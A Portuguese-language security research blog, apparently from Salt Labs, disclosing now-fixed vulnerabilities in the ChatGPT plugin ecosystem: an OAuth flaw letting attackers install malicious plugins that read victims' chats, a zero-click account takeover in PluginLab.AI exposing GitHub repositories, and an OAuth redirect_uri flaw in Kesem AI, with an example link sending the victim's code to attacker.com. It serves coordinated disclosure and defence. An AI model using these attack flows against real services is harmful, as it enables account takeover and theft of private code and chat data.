Pesquisadores do Salt Labs identificaram os ecossistemas de IA generativa como um novo e interessante vetor de ataque. As vulnerabilidades encontradas durante esta pesquisa no ecossistema do ChatGPT poderiam ter concedido acesso a contas de usuários, incluindo repositórios do GitHub, por meio de ataques de 0-click.
Introdução ao ChatGPT
A menos que você tenha vivido em uma caverna no último ano, provavelmente já ouviu falar das plataformas de IA generativa.
As plataformas de IA generativa foram apresentadas ao público com o surgimento do ChatGPT, uma IA de nível avançado desenvolvida pela OpenAI que utiliza o modelo LLM (Large Language Model) e possibilita conversar com o serviço como se você estivesse falando com um ser humano.
Ele entende e responde perguntas, ajuda em diversas tarefas, pode escrever histórias e artigos, e gerar respostas que parecem uma música do Eminem ou qualquer outra coisa que você possa imaginar.
Em suas primeiras versões, o ChatGPT e outros frameworks de IA generativa incluíam apenas dados que estavam disponíveis para o framework durante o processo de treinamento. Isso significa que ele conseguia responder a muitas perguntas relacionadas a dados, mas não conseguia consultar informações em tempo real. Se você perguntasse ao ChatGPT: "A que horas é o jogo dos Knicks?" — ele simplesmente responderia: "Eu só tenho informações sobre eventos que aconteceram até 2021". Isso é totalmente compreensível dada a forma como as plataformas de IA generativa operam. No entanto, essa também era uma das maiores limitações dessas plataformas, pois restringia consideravelmente as perguntas que você podia fazer.
Para resolver essas questões, todas as principais plataformas de IA generativa incluíram o conceito de ecossistema de IA generativa, que permite a conexão e a troca de dados entre a plataforma de IA generativa e serviços externos. Esses serviços podem ser qualquer coisa, desde uma simples pesquisa na internet até uma conexão com serviços específicos como GitHub, Google Drive, Salesforce, etc. Isso torna o ChatGPT não apenas um agente de conversação, mas uma ferramenta poderosa que pode atuar em uma ampla gama de plataformas, otimizando fluxos de trabalho e proporcionando experiências mais interativas e produtivas. Assim como o crescimento massivo da IA generativa, essas conexões externas ganharam muita força e se expandiram rapidamente (e continuam crescendo) para incluir centenas de conexões externas diferentes.

O aspecto de segurança
A IA generativa é uma enorme conquista tecnológica, e alguns podem até dizer que é a conquista mais importante que a ciência da computação alcançou na última década.
E, como acontece com qualquer tecnologia, especialmente as novas, ela não vem sem riscos.
De modo geral, os riscos dessas plataformas podem vir de vários lugares:
- Riscos associados à própria plataforma de IA generativa — geralmente devido a bugs ou vulnerabilidades de segurança na plataforma principal.
Embora este ainda seja um tópico de pesquisa novo e a comunidade de segurança ainda não tenha conseguido cobrir a maior parte dele, alguns riscos já foram identificados e publicados.
Alguns exemplos incluem duas vulnerabilidades interessantes que foram encontradas recentemente. A primeira é uma pesquisa conduzida por Ron Masas, da Imperva, que revelou um XSS impressionante no ChatGPT.
Outra vulnerabilidade interessante revelada recentemente foi um ataque de decepção de cache (cache deception) descoberto pela "Harel Security Research".
Ambas as vulnerabilidades podem ser exploradas assim que a vítima clica em uma URL maliciosa, o que permite que um invasor roube dados confidenciais dos usuários do ChatGPT.
- Riscos associados ao ecossistema de IA Generativa — geralmente causados por vulnerabilidades de segurança no código que conecta a IA Generativa a serviços externos, ou vulnerabilidades de segurança encontradas nos próprios serviços de terceiros.
Como o ecossistema de IA generativa nos pareceu uma área relativamente inexplorada em termos de possíveis riscos de segurança, decidimos iniciar um projeto de pesquisa que se concentrasse profundamente nesta área e tentasse esclarecer os possíveis riscos e resultados de ataques bem-sucedidos aos ecossistemas de plataformas de IA Generativa.
O aspecto de segurança dos plugins do ChatGPT
Como de costume no Salt Labs, nossos pesquisadores escolhem o alvo de pesquisa que melhor conhecem e apreciam, e aquele que utilizam no dia a dia.
Por esta razão, decidimos explorar o ecossistema do ChatGPT. Acreditamos firmemente que nossas descobertas gerais nesta pesquisa são relevantes para qualquer plataforma de IA generativa, mas, para mantermos o foco, o escopo da nossa pesquisa foi apenas o ChatGPT.
No ChatGPT, o ecossistema de conexão com serviços de terceiros é chamado de plugins do ChatGPT e, como mencionado anteriormente, eles podem representar uma nova e interessante superfície de ataque para invasores.
Ao usar esses plugins, você concede ao ChatGPT permissão para enviar dados confidenciais em seu nome para um site de terceiros e, dependendo do plugin, você também dá permissão para que eles acessem suas contas privadas no Google Drive, GitHub e outros.

A imagem acima, retirada do ChatGPT, mostra que — se conseguirmos encontrar uma vulnerabilidade aqui — isso provavelmente colocará em risco tanto seus dados confidenciais no ChatGPT quanto também em sites de terceiros, em risco.
Mas o que exatamente é um plugin?
Simples: um plugin é apenas um aplicativo criado por desenvolvedores "desconhecidos". No entanto, a interface do usuário continua sendo a do ChatGPT, o que proporciona aos usuários uma sensação mais consistente (e "segura").
Nota — uma palavra sobre os GPTs do ChatGPT
Nossa pesquisa foi realizada em julho de 2023, quando os "plugins do ChatGPT" eram o principal recurso e, portanto, este é o foco do blog. Embora os plugins ainda sejam muito populares, em novembro de 2023, o ChatGPT introduziu um novo recurso — os GPTs. Os GPTs são versões personalizadas do ChatGPT que qualquer desenvolvedor pode publicar e contêm uma opção chamada "Ação", que os conecta ao mundo exterior. As Ações dos GPTs são um conceito semelhante aos Plugins, e exploraremos uma vulnerabilidade que a equipe do Salt Labs encontrou em vários GPTs de terceiros em uma publicação futura.
É importante mencionar que a OpenAI fez um excelente trabalho na segurança dos GPTs, uma melhoria significativa em relação aos Plugins, resolvendo muitos dos problemas dos "Plugins" descritos neste blog.
Sobre nossa pesquisa
A primeira parte da pesquisa foca em uma vulnerabilidade encontrada diretamente no ChatGPT, que permite que atacantes instalem plugins maliciosos nos usuários do ChatGPT sem a aprovação deles.
A segunda parte deste blog é uma análise de segurança do conceito de plugins, com uma demonstração de duas vulnerabilidades críticas de tomada de conta em dezenas de plugins. O foco aqui não é a descoberta de um plugin de terceiros específico, mas sim o conceito geral. Apresentamos aqui problemas e vulnerabilidades recorrentes que encontramos repetidamente em vários plugins. Acreditamos que algumas dessas vulnerabilidades poderiam ser evitadas se os desenvolvedores estivessem mais cientes dos riscos, e esperamos que nosso blog ajude a alcançar esse objetivo. Também pedimos à OpenAI que coloque mais ênfase na segurança em sua documentação para desenvolvedores, o que explicaremos melhor ao analisar nossa terceira descoberta de vulnerabilidade.
A primeira vulnerabilidade, diretamente no ChatGPT, permite que atacantes instalem plugins maliciosos nos usuários do ChatGPT.
Para entender a primeira vulnerabilidade, precisamos primeiro mostrar como funciona a autenticação OAuth:
Suponha que você seja o Dan e queira se conectar ao Example.com usando sua conta do Facebook. O que acontece quando você clica em "Entrar com o Facebook"?

Nas etapas 2–3:
Depois que o Dan clica em entrar com o Facebook, o www.example.com abre uma nova janela no seguinte endereço:
https://www.facebook.com/v3.0/dialog/oauth?redirect_uri=https://www.example.com/OAuth&scope=email&client_id=1501&state=[random_value]&response_type=token
Nas etapas 4–5:
O Facebook prepara um token secreto para o www.example.com e redireciona o navegador de volta para o redirect_uri (o parâmetro da etapa 2). O redirecionamento exato:
https://www.example.com/OAuth#token=[secret_token]
Nas etapas 6–7:
O www.example.com lê o token da URL e o utiliza para falar diretamente com o Facebook para concluir a autenticação e verificar a identidade do Dan.
Nota
Entender a URL das etapas 2 a 3 é opcional (você pode pular). No entanto, se você tiver curiosidade e quiser saber mais sobre OAuth, pode ler nossas explicações completas sobre a manipulação de redirecionamento OAuth, conforme descrevemos na tomada de conta do Booking.com: https://salt.security/blog/traveling-with-oauth-account-takeover-on-booking-com
Vamos focar na etapa 5:
https://www.example.com/OAuth#token=[secret_token]
Nesta etapa, www.example.com recebe o token e identifica o usuário de acordo com ele. O que acontecerá se o invasor enviar este link para uma vítima, mas com as credenciais (token) do próprio invasor?

Como o example.com é um aplicativo vulnerável que não verifica se Dan iniciou o fluxo OAuth, a vítima (Dan) será conectada como o invasor ao Example.com:

Neste cenário, um invasor pode manipular as vítimas para que façam login em um site com as credenciais dele!
Você pode se perguntar: qual é o problema disso? E você não está sozinho; muitos desenvolvedores de OAuth acham que isso não é uma falha de segurança e, portanto, não se protegem contra esse tipo de ataque.
Para entender a gravidade, quero demonstrar isso no ChatGPT.
Quando um usuário instala um plugin que requer aprovação de usuário via OAuth, o ChatGPT inicia o seguinte fluxo:

Etapas 1–2:
Quando um usuário instala um novo plugin, o ChatGPT o redireciona para o site do plugin para receber um código (que, para este artigo, é o mesmo que um token).
Etapas 3–5:
O usuário precisa aprovar o plugin; após a aprovação, o plugin gera um código e redireciona o usuário de volta ao ChatGPT com esse código.
O plugin redireciona o usuário para o seguinte link:
https://chat.openai.com/aip/{plugin_ID}/oauth/callback?code={secret_code}
Passos 6–7:
Quando o ChatGPT recebe o código, ele instala o plugin automaticamente e pode interagir com ele em nome do usuário.
Qualquer mensagem que o usuário escrever no ChatGPT poderá ser encaminhada para o plugin.
Parece familiar? Este é o mesmo diagrama de OAuth que o de www.example.com. O passo 5 na instalação do novo plugin é o mesmo que o passo 5 na autenticação OAuth que acabamos de descrever.
O problema e o ataque:
O ChatGPT não valida se o usuário realmente iniciou a instalação do plugin.
Um invasor pode enviar o link do Passo 5 para uma vítima e, se ela clicar nele, um novo plugin malicioso com as credenciais do invasor será instalado automaticamente na conta da vítima.
Qualquer nova mensagem que a vítima escrever poderá ser transferida para o plugin.
Por exemplo, o invasor pode enviar o seguinte link (um link legítimo para o domínio chatgpt.openai.com ) para uma vítima:

{malicious_plugin_id} é o identificador do plugin que o invasor deseja instalar na vítima.
{attacker_code_from_malicious_plugin) é o código que o invasor recebeu do plugin.
Ao clicar neste link, a vítima instala um plugin malicioso, sem qualquer confirmação.
O impacto
Um atacante pode criar seu próprio plugin, configurado para encaminhar quase todos os dados do chat para ele, e então, explorando uma vulnerabilidade no ChatGPT, instalar esse plugin malicioso na conta da vítima.
Como o atacante é o proprietário do plugin, ele consegue visualizar os dados privados do chat da vítima, o que pode incluir credenciais, senhas ou outras informações confidenciais.
Na documentação dos plugins do ChatGPT, consta que "com o tempo, prevemos que o sistema evoluirá para acomodar casos de uso mais avançados". Portanto, à medida que os plugins do ChatGPT continuam a evoluir (agora chamados de GPTs), o impacto de segurança de tais vulnerabilidades torna-se ainda mais significativo.

A mitigação
Se você implementa OAuth e deseja se proteger contra este cenário, deve implementar um parâmetro de estado (state parameter) conforme descrito na RFC do OAuth:

Vale notar que o ChatGPT chegou a implementar um parâmetro de estado, mas o valor não era aleatório e, portanto, poderia ser adivinhado pelo atacante.
A segunda vulnerabilidade — Assunção de conta com 0 cliques em múltiplos plugins, permitindo que atacantes obtenham controle da conta de uma organização em sites de terceiros, como o GitHub
Antes de mergulharmos nos detalhes, queremos explicar o que significa a assunção de conta em um plugin.
Ao instalar um plugin que interage com seu GitHub, ele cria uma conta adicional para você no site do plugin, onde armazena suas credenciais do GitHub. Usando essas credenciais, o plugin pode acessar repositórios privados que contêm segredos e código-fonte.
Se o atacante obtiver controle da sua conta nesse plugin, ele também poderá acessar seus repositórios privados no GitHub.
PluginLab
O PluginLab (pluginlab.ai) é um framework que desenvolvedores e empresas utilizam para criar plugins para o ChatGPT.
Exemplos de plugins desenvolvidos com o PluginLab incluem ScholarAI, ChatOCR, KeyMateAI, ShowNotes, Perfect Chirp, entre outros.
Em nosso exemplo, usaremos o “AskTheCode” — um plugin desenvolvido com o PluginLab.AI que permite fazer perguntas sobre seus repositórios do GitHub. Isso significa que os usuários que utilizam este plugin concederam a ele acesso aos seus repositórios no GitHub.
A assunção de conta no AskTheCode significa que atacantes podem acessar os repositórios do GitHub de qualquer usuário que utilize este plugin.
Na imagem abaixo, demonstramos como conseguimos acessar um repositório privado de uma vítima — Dan Brown (moreisless3dan) — usando o ChatGPT.

(A captura de tela foi feita a partir da conta do atacante, mostrando como ele lê um arquivo privado do GitHub de uma vítima)
Detalhes técnicos — como funciona
Quando um usuário instala o plugin “AskTheCode” (ou qualquer outro plugin desenvolvido com PluginLab.AI), o ChatGPT inicia o fluxo de instalação e estas são as etapas principais:
- O AskTheCode cria uma nova conta para o usuário e solicita permissão para acessar sua conta do GitHub. O AskTheCode armazena as credenciais do GitHub.
- O AskTheCode gera um código para o ChatGPT.
- O ChatGPT usa o código para se conectar à conta do usuário no AskTheCode.
- Plugin instalado.
Para sua conveniência, anexamos um diagrama descrevendo o fluxo:

O que você precisa entender do diagrama é o “código”, que é um segredo passado do AskTheCode para o ChatGPT. Você pode tratar o código como uma senha que o ChatGPT usa para se conectar à conta do Dan no AskTheCode.
O objetivo do atacante é roubar esse código e realizar a tomada de conta.
O interessante é que, após a Etapa 3, o AskTheCode faz uma solicitação do navegador do cliente para https://auth.pluginlab.ai/oauth/authorize, para recuperar um código com base no memberId do usuário:

E a resposta:

E então, na Etapa 5, o AskTheCode redireciona o usuário para o ChatGPT com o código “5e806…” e, em seguida, o ChatGPT pode usar o código para realizar ações em nome do usuário no AskTheCode (e, consequentemente, no GitHub).
O problema e o ataque:
https://auth.pluginlab.ai/oauth/authorized não autentica a solicitação, o que significa que o atacante pode inserir outro memberId (ou seja, o da vítima) e obter um código que representa a vítima. Com esse código, ele pode usar o ChatGPT e acessar o GitHub da vítima.
A única coisa que o atacante precisa é do memberId da vítima.
Isso pode ser alcançado usando o endpoint https://auth.pluginlab.ai/members/requestMagicEmailCode.
O endpoint recebe um e-mail e retorna (sem motivo aparente) o memberID, entre outros dados:

O fluxo do ataque:
Suponha que temos o e-mail de uma vítima:
- O atacante usa o endpoint https://auth.pluginlab.ai/members/requestMagicEmailCode para obter o memberID de qualquer usuário (vítima) que desejar.
Observe que o memberID é apenas o SHA1 do e-mail, portanto, em vez de chamar esta API, o atacante pode calcular o valor SHA1 por conta própria.
- Assim que o atacante obtém o ID de membro da vítima, ele vai ao ChatGPT, instala o plugin “AskTheCode” em sua conta e intercepta a solicitação para https://auth.pluginlab.ai/oauth/authorized.
Na solicitação para https://auth.pluginlab.ai/oauth/authorized, em vez de enviar o ID de membro do atacante, ele pode usar o valor hash da etapa anterior e receber um código que representa a vítima.
- O atacante encaminha esse código para o ChatGPT.
- O atacante agora pode ler todos os repositórios da vítima, porque ele acabou de instalar o AskTheCode com a conta da vítima em sua própria conta do ChatGPT. Por exemplo, o atacante pode escrever “Dê-me uma lista de todos os repositórios privados”; o ChatGPT enviará essa mensagem ao AskTheCode, que se conectará ao repositório do GitHub da vítima para recuperar os dados.
(Observe que o atacante pode interagir diretamente com o plugin, mesmo sem utilizar o ChatGPT.
Nota:
Este é um ataque de "zero-click". O atacante pode realizar a tomada de conta sem enviar um link para suas vítimas.
Como mencionamos anteriormente, a vulnerabilidade não está no AskTheCode, mas sim no PluginLab.AI, e afetou dezenas de outros plugins que utilizam a estrutura do PluginLab.AI.
Todos os problemas descritos nesta publicação foram comunicados ao PluginLab.AI, e a empresa agiu rapidamente para resolvê-los e mitigá-los completamente.
Vulnerabilidades de segurança podem ocorrer em qualquer aplicação, e a resposta é o que realmente importa. Agradecemos a resposta do PluginLab.
Esta é a resposta deles:
“Assim que fomos alertados sobre suas descobertas, iniciamos uma investigação interna imediata. É um alívio informar que, com base em nossas apurações, nenhum dado de usuário foi comprometido como resultado da vulnerabilidade identificada. No PluginLab, a segurança e a integridade dos dados de nossos clientes são fundamentais. Temos o prazer de informar que o problema apontado foi prontamente tratado e resolvido, reforçando a segurança de nossa plataforma.”
Eles também enviaram um aviso aos seus usuários, mencionando que ninguém foi impactado e que nenhum dado crítico foi comprometido.
O terceiro tipo de vulnerabilidade — manipulação de redirecionamento OAuth
Esta é uma vulnerabilidade clássica de OAuth que encontramos em vários plugins, mas usaremos o plugin Kesem AI apenas como exemplo.
O impacto da vulnerabilidade é semelhante ao do pluginlab.ai: trata-se de uma tomada de conta no próprio plugin. Diferente do PluginLab.AI, que não requer interação do usuário, nesta vulnerabilidade o atacante precisa enviar um link para a vítima.
Detalhes técnicos
Quando um usuário instala o plugin “Charts by Kesem AI”, o ChatGPT inicia o seguinte fluxo:
- Redireciona o usuário para kesem.ai para recuperar um código OAuth:
https://app.kesem.ai/login?response_type=code&client_id=474480292958-cjuv2hh070hr6ad6ei8h9slved6vng0d.apps.googleusercontent.com&redirect_uri=https://chat.openai.com/aip/plugin-fac4e968-c6a5-4fc9-b578-11d958122868/oauth/callback&scope=&state=34881ee1-98e1-4b54-8643-3c561178f1b3 - O Kesem.ai autentica o usuário via Google/Microsoft ou e-mail e gera um código.
- O Kesem.ai transfere o código para o redirect_uri da etapa 1:
https://chat.openai.com/aip/plugin-fac4e968-c6a5-4fc9-b578-11d958122868/oauth/callback?code=eyJhbGciOiJSUzI1NiIsImtpZCI6ImM2MGI5ZGUwODBmZmFmYmZjMTgzMzllY2Q0NGFjNzdmN2ZhNGU4ZDMiLCJ0eXAiOiJKV1QifQ….
O problema:
O https://app.kesem.ai/login não valida o redirect_uri, o que significa que um invasor pode inserir um redirect_uri malicioso e roubar as credenciais do usuário.
O fluxo do ataque:
- O invasor envia o seguinte link para a vítima:
https://app.kesem.ai/login?response_type=code&client_id=474480292958-cjuv2hh070hr6ad6ei8h9slved6vng0d.apps.googleusercontent.com&redirect_uri=https://attacker.com&scope=&state=34881ee1-98e1-4b54-8643-3c561178f1b3
- Quando a vítima clica nesse link, o Kesem.ai transfere automaticamente o código para o redirect_uri da etapa 1:
https://attacker.com?code=eyJhbGciOiJSUzI1NiIsImtpZCI6ImM2MGI5ZGUwODBmZmFmYmZjMTgzMzllY2Q0NGFjNzdmN2ZhNGU4ZDMiLCJ0eXAiOiJKV1QifQ….
Assim como no caso do Pluginab.ai, o invasor obtém as credenciais (código) da vítima e pode assumir o controle da conta da mesma forma.
O que acontece em outros plugins?
Infelizmente, o kesem.ai é apenas um exemplo que usamos aqui.
Encontramos essa mesma vulnerabilidade em outros plugins e queremos aumentar a conscientização e incentivar os desenvolvedores de plugins a prestarem mais atenção ao OAuth e ao parâmetro redirect_uri.
Também encontramos plugins que verificam o redirect_uri, mas apenas o domínio e não o caminho. No entanto, essa abordagem também é vulnerável, pois um invasor pode alterar o caminho para seu próprio plugin malicioso e roubar o código.
Na documentação do ChatGPT, eles explicam como implementar esse fluxo, mas sem foco em segurança.
Seria ótimo se a OpenAI melhorasse sua documentação, tanto em Plugins (https://platform.openai.com/docs/plugins/authentication) quanto em Actions (https://platform.openai.com/docs/actions/authentication), e incluísse uma frase para desenvolvedores enfatizando a importância de proteger o redirect_uri.
E quanto aos GPTs do ChatGPT?
Como mencionamos anteriormente, os GPTs são a próxima versão dos Plugins, e você pode ler mais sobre esse recurso aqui: https://openai.com/blog/introducing-gpts
Essencialmente, eles seguem o mesmo conceito dos plugins, mas com protocolos de segurança aprimorados.
A OpenAI implementou medidas adequadas para educar e alertar o usuário sempre que dados são enviados do ChatGPT para um fornecedor terceirizado, tornando o usuário muito mais consciente:


Em conclusão, os GPTs representam um avanço significativo em segurança em relação aos Plugins, abordando efetivamente a maioria das preocupações destacadas nesta discussão. No entanto, os usuários precisam permanecer vigilantes quanto a riscos potenciais.
Agende uma demonstração personalizada ou entre em contato conosco para saber como a Salt pode ajudar a proteger sua organização contra riscos de API.
Mas será que os GPTs resolvem esse problema por completo? Fique ligado no nosso próximo artigo (dica: não resolvem :)
Cronograma de Divulgação
Seguimos o cronograma abaixo neste processo de divulgação coordenada. Reiteramos nossos agradecimentos ao ChatGPT, PluginLab.AI e Kesem.ai por agirem para resolver essas vulnerabilidades críticas.
- Salt Labs descobre a vulnerabilidade no ChatGPT: 25 de junho de 2023
- Salt Labs divulga detalhes técnicos ao ChatGPT: 10 de julho de 2023
- Salt Labs descobre e divulga detalhes técnicos ao PluginLab.AI e KesemAI: setembro de 2023
- Após a correção das vulnerabilidades por todos os fornecedores, a Salt Labs envia à OpenAI, PluginLab.AI e Kesem.ai este blog técnico detalhando as vulnerabilidades: 27 de fevereiro de 2024
- Equipe de marketing da Salt compartilha rascunho do blog e comunicado de imprensa com a equipe de marketing de cada empresa: 27 de fevereiro de 2024
- Salt publica blog e comunicado de imprensa: 13 de março de 2024
